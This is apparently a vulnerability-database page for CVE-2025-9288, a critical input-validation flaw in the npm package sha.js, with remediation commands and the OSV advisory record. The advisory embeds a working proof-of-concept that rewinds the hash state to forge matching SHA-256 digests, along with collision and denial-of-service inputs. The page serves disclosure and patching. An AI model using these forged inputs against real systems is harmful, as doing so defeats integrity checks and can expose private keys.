Vulnerabilities in pkg:npm/sha.js
PACKAGECVE-2025-9288 is a CRITICAL (CVSS 9.1) sha.js is missing type checks vulnerability (CWE-20: Improper Input Validation) affecting Sha.js libraries in the npm ecosystem. The issue involves sha.js is missing type checks leading to hash rewind and passing on crafted data. Remediation is available by upgrading affected packages to version 2.4.12.
pkg:npm/sha.js
Vulnerability advisories affecting package pkg:npm/sha.js. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-95m3-7q98-8xr5 | CVE-2025-9288 | CRITICAL | sha.js is missing type checks leading to hash rewind and passing on crafted data |
CVE-2025-9288 at a Glance
Security Impact
CVSS: 9.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H).
How to Fix CVE-2025-9288
To remediate this vulnerability, upgrade all affected Sha.js dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install sha.js@2.4.12
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls sha.js
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-9288, inspect your project dependencies using npm:
npm ls sha.js
Analyze the terminal output to locate any version of Sha.js in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.4.12), your application is affected.
Note: The npm ls sha.js command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Sha.js, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-9288 Affected Sha.js Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
sha.js
|
npm |
< 2.4.12
|
2.4.12
|
References
Frequently Asked Questions
What is CVE-2025-9288?
Which Sha.js versions are affected?
What version fixes CVE-2025-9288?
Is sha.js affected?
What is the CVSS score of CVE-2025-9288?
What CWE is associated with CVE-2025-9288?
How can I check npm dependencies for CVE-2025-9288?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-95m3-7q98-8xr5",
"modified" : "2025-11-03T21:34:22Z",
"published" : "2025-08-21T14:47:55Z",
"aliases" : [ "CVE-2025-9288" ],
"summary" : "sha.js is missing type checks leading to hash rewind and passing on crafted data",
"details" : "### Summary\n\nThis is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation.\n\nMissing input type checks can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.\n\n### Details\n\nSee PoC\n\n### PoC\n```js\nconst forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])\n\nconst sha = require('sha.js')\nconst { randomBytes } = require('crypto')\n\nconst sha256 = (...messages) => {\n const hash = sha('sha256')\n messages.forEach((m) => hash.update(m))\n return hash.digest('hex')\n}\n\nconst validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever\n\nconst payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')\nconst receivedMessage = JSON.parse(payload) // e.g. over network, whatever\n\nconsole.log(sha256(...validMessage))\nconsole.log(sha256(...receivedMessage))\nconsole.log(receivedMessage[0])\n```\n\nOutput:\n```\n638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4\n638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4\nHashed input means safe\n```\n\nOr just:\n```console\n> require('sha.js')('sha256').update('foo').digest('hex')\n'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'\n> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')\n'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'\n```\n\n### Impact\n\n1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.\n2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`\n This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)\n4. DoS on `{length:'1e99'}`\n5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "sha.js"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.4.12"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.4.11"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/browserify/sha.js/security/advisories/GHSA-95m3-7q98-8xr5"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-9288"
}, {
"type" : "WEB",
"url" : "https://github.com/browserify/sha.js/pull/78"
}, {
"type" : "WEB",
"url" : "https://github.com/browserify/sha.js/commit/f2a258e9f2d0fcd113bfbaa49706e1ac0d979ba5"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/browserify/sha.js"
}, {
"type" : "WEB",
"url" : "https://lists.debian.org/debian-lts-announce/2025/09/msg00016.html"
}, {
"type" : "WEB",
"url" : "https://www.cve.org/CVERecord?id=CVE-2025-9287"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-20" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2025-08-21T14:47:55Z",
"nvd_published_at" : "2025-08-20T22:15:30Z"
}
}